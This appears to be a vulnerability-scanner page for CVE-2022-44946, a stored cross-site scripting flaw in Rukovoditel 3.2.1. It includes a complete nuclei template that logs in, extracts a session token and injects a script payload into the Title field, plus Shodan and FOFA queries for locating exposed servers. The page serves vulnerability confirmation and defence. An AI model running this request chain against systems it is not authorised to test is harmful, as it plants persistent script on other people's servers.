Rukovoditel <= 3.2.1 - Cross-Site Scripting

mediumseverity

5.4CVSS score

1.1%likelihood of exploitation, next 30 days

67%of all CVEs are less likely

Readycheck to confirm it

Rukovoditel v3.2.1 was discovered to contain a stored cross-site scripting (XSS) vulnerability in the Add Page function at /index.php?module=help_pages/pages&entities_id=24. This vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Title field.

Impact

Authenticated attackers can inject malicious JavaScript through the Title field in the Add Page function to steal Rukovoditel administrator credentials and project management data when the malicious page is viewed.

Fix

Upgrade Rukovoditel to a version higher than 3.2.1 or apply the vendor-provided patch to mitigate the XSS vulnerability.

How to confirm it

Send: GET /index.php?module=users/login ; POST /index.php?module=users/login&action=login ; POST /index.php?module=help_pages/pages&action=save&entities_id=24&token={{nonce}}
Positive when: status_code_3 == 200 and contains(content_type_3, "text/html") and contains(body_3, "<script>alert(document.domain)</script>") and contains(body_3, "rukovoditel")

Run it with nuclei: nuclei -id CVE-2022-44946 -u <target>

The full check

id: CVE-2022-44946

info:
  name: Rukovoditel <= 3.2.1 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Rukovoditel v3.2.1 was discovered to contain a stored cross-site scripting (XSS) vulnerability in the Add Page function at /index.php?module=help_pages/pages&entities_id=24. This vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Title field.
  impact: |
    Authenticated attackers can inject malicious JavaScript through the Title field in the Add Page function to steal Rukovoditel administrator credentials and project management data when the malicious page is viewed.
  remediation: |
    Upgrade Rukovoditel to a version higher than 3.2.1 or apply the vendor-provided patch to mitigate the XSS vulnerability.
  reference:
    - https://github.com/anhdq201/rukovoditel/issues/15
    - http://rukovoditel.com/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-44946
    - http://rukovoditel.com
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2022-44946
    cwe-id: CWE-79
    epss-score: 0.01128
    epss-percentile: 0.66621
    cpe: cpe:2.3:a:rukovoditel:rukovoditel:3.2.1:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: rukovoditel
    product: rukovoditel
    shodan-query: http.favicon.hash:-1499940355
    fofa-query: icon_hash=-1499940355
  tags: cve,cve2022,rukovoditel,stored-xss,xss,authenticated,vuln

http:
  - raw:
      - |
        GET /index.php?module=users/login HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /index.php?module=users/login&action=login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        form_session_token={{nonce}}&username={{username}}&password={{password}}
      - |
        POST /index.php?module=help_pages/pages&action=save&entities_id=24&token={{nonce}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        form_session_token={{nonce}}&type=page&is_active=1&position=listing&name=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&sort_order=&description=

    redirects: true
    max-redirects: 2
    matchers:
      - type: dsl
        dsl:
          - 'status_code_3 == 200'
          - 'contains(content_type_3, "text/html")'
          - 'contains(body_3, "<script>alert(document.domain)</script>")'
          - 'contains(body_3, "rukovoditel")'
        condition: and

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - 'id="form_session_token" value="(.*)" type="hidden"'
        internal: true

References

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